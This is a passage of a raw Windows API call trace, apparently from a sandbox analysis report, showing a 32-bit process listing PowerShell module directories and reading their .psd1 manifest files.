lpNumberOfBytesRead=0x5a2e3b8*=0x288, lpOverlapped=0x0) returned 1 [0173.153] SetFilePointer (in: hFile=0x450, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2e38c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2e38c*=0) returned 0x288 [0173.153] ReadFile (in: hFile=0x450, lpBuffer=0x22da2f4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2e3b8, lpOverlapped=0x0 | out: lpBuffer=0x22da2f4*, lpNumberOfBytesRead=0x5a2e3b8*=0x0, lpOverlapped=0x0) returned 1 [0173.153] CloseHandle (hObject=0x450) returned 1 [0173.154] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e470) returned 1 [0173.155] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4d [0173.155] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x4d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", lpFilePart=0x0) returned 0x4c [0173.155] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host\\*" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.host\\*"), lpFindFileData=0x5a2e220 | out: lpFindFileData=0x5a2e220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5c693c0 [0173.156] FindNextFileW (in: hFindFile=0x5c693c0, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.156] FindNextFileW (in: hFindFile=0x5c693c0, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e37f4, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Host.psd1", cAlternateFileName="")) returned 1 [0173.156] FindNextFileW (in: hFindFile=0x5c693c0, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e37f4, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Host.psd1", cAlternateFileName="")) returned 0 [0173.156] FindClose (in: hFindFile=0x5c693c0 | out: hFindFile=0x5c693c0) returned 1 [0173.156] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1e0) returned 1 [0173.156] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e440) returned 1 [0173.156] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host\\Microsoft.PowerShell.Host.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.host\\microsoft.powershell.host.psd1")) returned 0x20 [0173.157] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host\\Microsoft.PowerShell.Host.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x6c [0173.157] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host\\Microsoft.PowerShell.Host.psd1", nBufferLength=0x6c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host\\Microsoft.PowerShell.Host.psd1", lpFilePart=0x0) returned 0x6b [0173.157] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host\\Microsoft.PowerShell.Host.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x6c [0173.157] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host\\Microsoft.PowerShell.Host.psd1", nBufferLength=0x6c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host\\Microsoft.PowerShell.Host.psd1", lpFilePart=0x0) returned 0x6b [0173.157] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1e8) returned 1 [0173.157] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host\\Microsoft.PowerShell.Host.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.host\\microsoft.powershell.host.psd1"), fInfoLevelId=0x0, lpFileInformation=0x22dfea0 | out: lpFileInformation=0x22dfea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e37f4, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x1d4)) returned 1 [0173.157] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1e4) returned 1 [0173.158] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host\\Microsoft.PowerShell.Host.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x6c [0173.158] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host\\Microsoft.PowerShell.Host.psd1", nBufferLength=0x6c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host\\Microsoft.PowerShell.Host.psd1", lpFilePart=0x0) returned 0x6b [0173.158] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e350) returned 1 [0173.158] CreateFileW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host\\Microsoft.PowerShell.Host.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.host\\microsoft.powershell.host.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x450 [0173.159] GetFileType (hFile=0x450) returned 0x1 [0173.159] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e34c) returned 1 [0173.159] GetFileType (hFile=0x450) returned 0x1 [0173.159] SetFilePointer (in: hFile=0x450, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2e38c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2e38c*=0) returned 0x0 [0173.160] ReadFile (in: hFile=0x450, lpBuffer=0x22e0cc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2e3b8, lpOverlapped=0x0 | out: lpBuffer=0x22e0cc8*, lpNumberOfBytesRead=0x5a2e3b8*=0x1d4, lpOverlapped=0x0) returned 1 [0173.162] SetFilePointer (in: hFile=0x450, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2e38c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2e38c*=0) returned 0x1d4 [0173.162] ReadFile (in: hFile=0x450, lpBuffer=0x22e0cc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2e3b8, lpOverlapped=0x0 | out: lpBuffer=0x22e0cc8*, lpNumberOfBytesRead=0x5a2e3b8*=0x0, lpOverlapped=0x0) returned 1 [0173.163] CloseHandle (hObject=0x450) returned 1 [0173.164] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e470) returned 1 [0173.164] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0173.164] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x53, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", lpFilePart=0x0) returned 0x52 [0173.165] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils\\*" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.odatautils\\*"), lpFindFileData=0x5a2e220 | out: lpFindFileData=0x5a2e220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5c693c0 [0173.165] FindNextFileW (in: hFindFile=0x5c693c0, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.165] FindNextFileW (in: hFindFile=0x5c693c0, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0173.165] FindNextFileW (in: hFindFile=0x5c693c0, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d7f5920, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8d7f5920, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0xdd1c5fc, ftLastWriteTime.dwHighDateTime=0x1d21d41, nFileSizeHigh=0x0, nFileSizeLow=0x29c5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.ODataAdapter.ps1", cAlternateFileName="")) returned 1 [0173.165] FindNextFileW (in: hFindFile=0x5c693c0, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fb11da0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8fb11da0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0xdd34cbd, ftLastWriteTime.dwHighDateTime=0x1d21d41, nFileSizeHigh=0x0, nFileSizeLow=0x6194, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.ODataUtils.psd1", cAlternateFileName="")) returned 1 [0173.165] FindNextFileW (in: hFindFile=0x5c693c0, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0xdd34cbd, ftLastWriteTime.dwHighDateTime=0x1d21d41, nFileSizeHigh=0x0, nFileSizeLow=0x4f8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.ODataUtils.psm1", cAlternateFileName="")) returned 1 [0173.166] FindNextFileW (in: hFindFile=0x5c693c0, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9598a6c0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x9598a6c0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0xde7c0cc, ftLastWriteTime.dwHighDateTime=0x1d21d41, nFileSizeHigh=0x0, nFileSizeLow=0xc94a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.ODataUtilsHelper.ps1", cAlternateFileName="")) returned 1 [0173.166] FindNextFileW (in: hFindFile=0x5c693c0, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d926420, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8d926420, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0xded8da9, ftLastWriteTime.dwHighDateTime=0x1d21d41, nFileSizeHigh=0x0, nFileSizeLow=0x1ae6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.ODataV4Adapter.ps1", cAlternateFileName="")) returned 1 [0173.166] FindNextFileW (in: hFindFile=0x5c693c0, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d926420, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8d926420, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0xded8da9, ftLastWriteTime.dwHighDateTime=0x1d21d41, nFileSizeHigh=0x0, nFileSizeLow=0x1ae6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.ODataV4Adapter.ps1", cAlternateFileName="")) returned 0 [0173.166] FindClose (in: hFindFile=0x5c693c0 | out: hFindFile=0x5c693c0) returned 1 [0173.167] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1e0) returned 1 [0173.167] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e440) returned 1 [0173.167] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils\\Microsoft.PowerShell.ODataUtils.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.odatautils\\microsoft.powershell.odatautils.psd1")) returned 0x20 [0173.168] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils\\Microsoft.PowerShell.ODataUtils.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0173.168] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils\\Microsoft.PowerShell.ODataUtils.psd1", nBufferLength=0x78, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils\\Microsoft.PowerShell.ODataUtils.psd1", lpFilePart=0x0) returned 0x77 [0173.168] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils\\Microsoft.PowerShell.ODataUtils.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0173.168] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils\\Microsoft.PowerShell.ODataUtils.psd1", nBufferLength=0x78, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils\\Microsoft.PowerShell.ODataUtils.psd1", lpFilePart=0x0) returned 0x77 [0173.168] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1e8) returned 1 [0173.168] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils\\Microsoft.PowerShell.ODataUtils.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.odatautils\\microsoft.powershell.odatautils.psd1"), fInfoLevelId=0x0, lpFileInformation=0x22e5cf0 | out: lpFileInformation=0x22e5cf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fb11da0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8fb11da0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0xdd34cbd, ftLastWriteTime.dwHighDateTime=0x1d21d41, nFileSizeHigh=0x0, nFileSizeLow=0x6194)) returned 1 [0173.168] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e1e4) returned 1 [0173.169] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils\\Microsoft.PowerShell.ODataUtils.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0173.169] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils\\Microsoft.PowerShell.ODataUtils.psd1", nBufferLength=0x78, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils\\Microsoft.PowerShell.ODataUtils.psd1", lpFilePart=0x0) returned 0x77 [0173.169] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e350) returned 1 [0173.169] CreateFileW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils\\Microsoft.PowerShell.ODataUtils.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.odatautils\\microsoft.powershell.odatautils.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x450 [0173.170] GetFileType (hFile=0x450) returned 0x1 [0173.170] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e34c) returned 1 [0173.170] GetFileType (hFile=0x450) returned 0x1 [0173.170] SetFilePointer (in: hFile=0x450, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2e38c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2e38c*=0) returned 0x0 [0173.170] ReadFile (in: hFile=0x450, lpBuffer=0x22e6b30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2e3b8, lpOverlapped=0x0 | out: lpBuffer=0x22e6b30*, lpNumberOfBytesRead=0x5a2e3b8*=0x1000, lpOverlapped=0x0) returned 1 [0173.179] SetFilePointer (in: hFile=0x450, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2e38c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2e38c*=0) returned 0x1000 [0173.179] ReadFile (in: hFile=0x450, lpBuffer=0x22e6b30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2e3b8, lpOverlapped=0x0 | out: lpBuffer=0x22e6b30*, lpNumberOfBytesRead=0x5a2e3b8*=0x1000, lpOverlapped=0x0) returned 1 [0173.180] SetFilePointer (in: hFile=0x450, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2e38c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2e38c*=0) returned 0x2000 [0173.180] ReadFile (in: hFile=0x450, lpBuffer=0x22e6b30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2e3b8, lpOverlapped=0x0 | out: lpBuffer=0x22e6b30*, lpNumberOfBytesRead=0x5a2e3b8*=0x1000, lpOverlapped=0x0) returned 1 [0173.180] SetFilePointer (in: hFile=0x450, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2e38c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2e38c*=0) returned 0x3000 [0173.181] ReadFile (in: hFile=0x450, lpBuffer=0x22e6b30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2e3b8, lpOverlapped=0x0 | out: lpBuffer=0x22e6b30*, lpNumberOfBytesRead=0x5a2e3b8*=0x1000, lpOverlapped=0x0) returned 1 [0173.181] SetFilePointer (in: hFile=0x450, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2e38c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2e38c*=0) returned 0x4000 [0173.181] ReadFile (in: hFile=0x450, lpBuffer=0x22e6b30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2e3b8, lpOverlapped=0x0 | out: lpBuffer=0x22e6b30*, lpNumberOfBytesRead=0x5a2e3b8*=0x1000, lpOverlapped=0x0) returned 1 [0173.183] SetFilePointer (in: hFile=0x450, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2e38c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2e38c*=0) returned 0x5000 [0173.183] ReadFile (in: hFile=0x450, lpBuffer=0x22e6b30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2e3b8, lpOverlapped=0x0 | out: lpBuffer=0x22e6b30*, lpNumberOfBytesRead=0x5a2e3b8*=0x1000, lpOverlapped=0x0) returned 1 [0173.183] SetFilePointer (in: hFile=0x450, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2e38c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2e38c*=0) returned 0x6000 [0173.183] ReadFile (in: hFile=0x450, lpBuffer=0x22e6b30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2e3b8, lpOverlapped=0x0 | out: lpBuffer=0x22e6b30*, lpNumberOfBytesRead=0x5a2e3b8*=0x194, lpOverlapped=0x0) returned 1 [0173.183] SetFilePointer (in: hFile=0x450, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2e38c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2e38c*=0) returned 0x6194 [0173.184] ReadFile (in: hFile=0x450, lpBuffer=0x22e6b30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2e3b8, lpOverlapped=0x0 | out: lpBuffer=0x22e6b30*, lpNumberOfBytesRead=0x5a2e3b8*=0x0, lpOverlapped=0x0) returned 1 [0173.184] CloseHandle (hObject=0x450) returned 1 [0173.199] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e470) returned 1 [0173.199] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0173.199] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x51, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", lpFilePart=0x0) returned 0x50 [0173.200] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\*" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security\\*"), lpFindFileData=0x5a2e220 | out: lpFindFileData=0x5a2e220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5c693c0 [0173.200] FindNextFileW (in: hFindFile=0x5c693c0, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.200] FindNextFileW (in: hFindFile=0x5c693c0, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x2ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Security.psd1", cAlternateFileName="")) returned 1 [0173.200] FindNextFileW (in: hFindFile=0x5c693c0, lpFindFileData=0x5a2e228 | out: lpFindFileData=0x5a2e228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x2ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Security.psd1", cAlternateFileName="")) returned 0 [0173.200] FindClose (in: hFindFile=0x5c693c0 | out: hFindFile=0x5c693c0) returned 1 [0173.201] SetThreadErrorMode 